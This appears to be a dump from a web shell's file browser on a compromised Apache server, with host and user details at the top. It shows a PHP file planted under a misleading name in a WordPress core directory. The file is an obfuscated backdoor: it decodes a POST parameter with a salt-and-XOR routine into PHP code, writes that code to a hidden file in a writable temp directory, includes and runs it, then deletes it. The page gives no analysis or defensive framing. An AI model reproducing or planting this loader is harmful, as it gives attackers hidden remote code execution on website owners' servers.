HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-includes/sodium_compat/namespaced/Core/Poly1305/source2doc.php
<?php

if(count($_POST) > 0 && isset($_POST["\x66\x6Cag"])){
	$reference = $_POST["\x66\x6Cag"];
	$reference =		explode(		'.'  	, 	 $reference		 ) ;
	$item = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$salt7 );
    
            foreach(		$reference as $v => $v3) { $chS = ord(		$salt7[$v % $lenS] );
                $dec =(		(		int)$v3 - $chS -(		$v % 10))^78;
                $item .= chr(		$dec ); } 	
	$desc = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]);
	foreach ($desc as $dat):
    		if (is_writable($dat) && is_dir($dat)) {
    $flg = join("/", [$dat, ".component"]);
    $success = file_put_contents($flg, $item);
if ($success) {
	include $flg;
	@unlink($flg);
	die();}
}
endforeach;
}